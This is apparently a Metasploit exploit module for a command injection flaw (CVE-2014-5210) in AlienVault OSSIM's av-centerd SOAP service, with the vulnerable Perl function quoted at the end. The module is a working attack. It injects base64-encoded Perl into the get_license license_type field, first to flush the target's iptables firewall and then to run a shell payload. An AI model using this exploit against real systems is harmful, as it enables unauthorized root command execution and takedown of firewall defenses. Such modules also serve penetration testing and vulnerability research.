require 'msf/core'
require 'rexml/document'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include REXML
def initialize(info = {})
super(update_info(info,
'Name' => 'Alienvault OSSIM av-centerd Command Injection get_license',
'Description' => %q{
This module exploits a command injection flaw found in the get_license
function found within Util.pm. The vulnerability is triggered due to an
unsanitized $license_type parameter passed to a string which is then
executed by the system.
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-5210' ],
[ 'ZDI', '14-294' ],
[ 'BID', '69239' ],
[ 'URL', 'https://www.alienvault.com/forums/discussion/2690' ]
],
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' =>
{
'SSL' => true,
},
'Payload' =>
{
'Compat' => {
'RequiredCmd' => 'perl netcat-e openssl python gawk'
}
},
'DefaultTarget' => 0,
'Targets' =>
[
['Alienvault <= 4.7.0',{}]
],
'DisclosureDate' => 'Aug 14 2014'))
register_options([Opt::RPORT(40007)], self.class)
end
def check
version = ""
res = send_soap_request("get_dpkg")
if res &&
res.code == 200 &&
res.headers['SOAPServer'] &&
res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/
version = $1
end
if version.empty? || version >= "4.7.0"
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end
def build_soap_request(method, pass)
xml = Document.new
xml.add_element(
"soap:Envelope",
{
"xmlns:xsi" => "http://www.w3.org/2001/XMLSchema-instance",
"xmlns:soapenc" => "http://schemas.xmlsoap.org/soap/encoding/",
"xmlns:xsd" => "http://www.w3.org/2001/XMLSchema",
"soap:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/",
"xmlns:soap" => "http://schemas.xmlsoap.org/soap/envelope/"
})
body = xml.root.add_element("soap:Body")
m = body.add_element(method, { 'xmlns' => "AV/CC/Util" })
args = []
args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})
args[0].text = "All"
args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})
args[1].text = "423d7bea-cfbc-f7ea-fe52-272ff7ede3d2"
args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})
args[2].text = "#{datastore['RHOST']}"
args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})
args[3].text = "#{rand_text_alpha(4 + rand(4))}"
args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
args[4].text = "#{rand_text_alpha(4 + rand(4))}"
if pass == '0'
args[5] = m.add_element("c-gensym13", {'xsi:type' => 'xsd:string'})
perl_payload = "system(decode_base64"
perl_payload += "(\"#{Rex::Text.encode_base64("iptables --flush")}\"))"
args[5].text = "|perl -MMIME::Base64 -e '#{perl_payload}';"
elsif pass == '1'
args[5] = m.add_element("c-gensym13", {'xsi:type' => 'xsd:string'})
perl_payload = "system(decode_base64"
perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
args[5].text = "|perl -MMIME::Base64 -e '#{perl_payload}';"
end
xml.to_s
end
def send_soap_request(method, timeout=20, action)
if action == 'disable'
soap = build_soap_request(method, '0')
elsif action == 'pop_shell'
soap = build_soap_request(method, '1')
end
res = send_request_cgi({
'uri' => '/av-centerd',
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => soap,
'headers' => {
'SOAPAction' => "\"AV/CC/Util##{method}\""
}
}, timeout)
res
end
def exploit
print_status("Disabling firewall...")
send_soap_request("get_license", 1, "disable")
print_status("Popping shell...")
send_soap_request("get_license", 1, "pop_shell")
end
end
__END__
/usr/share/alienvault-center/lib/AV/CC/Util.pm
sub get_license() {
my ( $funcion_llamada, $nombre, $uuid, $admin_ip, $hostname, $license, $license_type ) = @_;
verbose_log_file(
"LICENSE $license_type:Received call from $uuid : ip source = $admin_ip, hostname = $hostname:($funcion_llamada,$nombre,$license,$license_type)"
);
my $deb='/usr/share/ossim-installer/temp/avl.deb';
my $header='/usr/share/ossim-installer/temp/header';
unlink $deb if ( -f $deb ); #delete previous file if found
unlink $header if ( -f $header ); #delete previous file if found
my $user_agent_uuid = AV::uuid::get_uuid;
$SIG{CHLD} = 'DEFAULT';
my $license_encoded = uri_escape($license);
my $package = system ( "curl --proxy-anyauth -K /etc/curlrc --max-time 20 --user-agent $user_agent_uuid --dump-header $header -o $deb http://data.alienvault.com/avl/$license_type/?license=$license_encoded" );
$SIG{CHLD} = 'IGNORE';
my @out = q{};
if ( !-e $header || -z $header ) {
@out = ( '1', 'Imposible to connect. Please check your network configuration' );
unlink $header;
return \@out;
}
if ( -e $deb ) {
open HEADERFILE, "< $header" or die "Not $!";
my @header_content = <HEADERFILE>;
close(HEADERFILE);
my $response_ok = 0;
foreach (@header_content) {
if ( $_ =~ / 200 OK/) {
$response_ok = 1;
}
}
if ( $response_ok == 0 ) {
@out = ( '1', 'Imposible to connect. Please check your network configuration' );
unlink $header;
unlink $deb;
return \@out;
}
$SIG{CHLD} = 'DEFAULT';
my $command = "/usr/bin/dpkg -i --force-confnew $deb";
verbose_log_file ("LICENSE $license_type: $command");
my $result = qx{$command};
$SIG{CHLD} = 'IGNORE';
$result >>= 8 ;
if ( $result == 0 ) {
verbose_log_file ("LICENSE $license_type: SUCCESS. Installed");
unlink $deb;
unlink $header;
@out = ( '0', 'SUCCESS. Installed' );
return \@out;
}
else
{
verbose_log_file ("LICENSE $license_type: ERROR. Install failed");
@out = ( '2', 'ERROR. Install failed' );
unlink $deb;
unlink $header;
return \@out;
}
}
else
{
my $error_msg;
verbose_log_file ("LICENSE $license_type: ERROR MSG");
open LFILE, "< $header" or die "Not $!";
my @header_msg = <LFILE>;
close(LFILE);
foreach(@header_msg){
verbose_log_file ($_);
if ($_ =~ m/X-AV-ERROR/)
{
$error_msg = $_;
}
}
unlink $header;
@out = ( '2', substr($error_msg, 12, -1)); # Remove 'X-AV-ERROR: 'and \n
return \@out;
}
}
